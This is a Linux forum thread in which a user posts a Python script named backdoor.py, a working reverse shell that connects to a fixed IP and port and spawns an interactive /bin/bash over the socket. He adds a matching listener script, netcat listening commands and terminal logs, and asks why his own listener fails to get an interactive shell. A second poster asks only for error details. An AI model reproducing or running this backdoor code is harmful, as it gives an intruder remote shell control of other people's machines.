Find the answer to your Linux question:
Results 1 to 5 of 5
Client ~~run backdoor.py connect Ip:192.168.1.217 123port to success. PHP Code: #!/usr/bin/python import sys import socket shell = '/bin/bash' def main ():         s  =  socket . socket ( socket . AF_INET , socket ...
  1. #1
    Just Joined! ibelieveme's Avatar
    Join Date
    Apr 2011
    Posts
    23

    help how python listening return to shell

    Client ~~run backdoor.py connect Ip:192.168.1.217 123port to success.
    PHP Code:
    #!/usr/bin/python
    import sys
    import socket
    shell
    ='/bin/bash'
    def main():
           
    socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            
    s.connect((socket.gethostbyname('192.168.1.217'),int(123)))

            print 
    '[+]Connect OK'
        
    except:
            print 
    "[-]Can't connect"
            
    sys.exit(2)
        
    import os
        os
    .dup2(s.fileno(),0)
        
    os.dup2(s.fileno(),1)
        
    os.dup2(s.fileno(),2)
        
    import pty
        
    global shell
        pty
    .spawn(shell)
        
    s.close()

    if 
    __name__ == '__main__':
        
    main() 
    Server.py listen from backdoor.py and ESTABLISHED success ,but i don't know why get "pty.spawn(shell)" failed
    PHP Code:
    #!/usr/bin/python
    import socket,os
    socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host=socket.gethostbyname('192.168.1.217')
    port=123
    s
    .bind((host,port))
    s.listen(4)
    while 
    True:
        
    c,addr=s.accept()
        
    c.close 

  2. #2
    Trusted Penguin Cabhan's Avatar
    Join Date
    Jan 2005
    Location
    Seattle, WA, USA
    Posts
    3,230
    We need more information. What line are you getting the error on? How are you running the program?
    DISTRO=Arch
    Registered Linux User #388732

  3. #3
    Just Joined! ibelieveme's Avatar
    Join Date
    Apr 2011
    Posts
    23
    Quote Originally Posted by Cabhan View Post
    We need more information. What line are you getting the error on? How are you running the program?
    i'm direct python command "python script.py" or "./script.py" running the program but the program's runing not error

    i knowing my script Client.py is fault ,because when running the Server.py can create a shell process(pty.spawn('/bin/bash') but i don't know this process and how return or accept be came "interactive shell" so hope you help.

    else:
    i using "nc tools " listen(nc -l 123) is success from the Server.py connection.

  4. #4
    Trusted Penguin Cabhan's Avatar
    Join Date
    Jan 2005
    Location
    Seattle, WA, USA
    Posts
    3,230
    I still don't understand.

    You are running a program, and that program is giving you an error, correct? What error are you getting? What program causes the error? What line of the program is the error occurring on? If you don't know the answer to the last question, try adding print statements to your code to see after which print statement the error occurs.
    DISTRO=Arch
    Registered Linux User #388732

  5. #5
    Just Joined! ibelieveme's Avatar
    Join Date
    Apr 2011
    Posts
    23
    I use "nc tools" listen to Clinet.py connection
    Outcome: print "Create shell success" the program connect success!!
    1:[root@localhost python]# nc -v -l 123
    2:[root@skyxue hakcer]# ./clinet.py
    [+]Connect OK
    3:[root@localhost python]# nc -v -l 123
    Connection from 192.168.1.216 port 123 [tcp/ntp] accepted
    Create shell success

    I use "Myself Server.py" listen to Clinet.py connection
    Outcome: No print "Create shell success" the program connect failed!!
    1:[root@localhost python]# ./server.py
    2:[root@skyxue hakcer]# ./clinet.py
    [+]Connect OK
    3:[root@localhost python]# ./server.py
    ...............................(this "." meaning is "no print")

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
...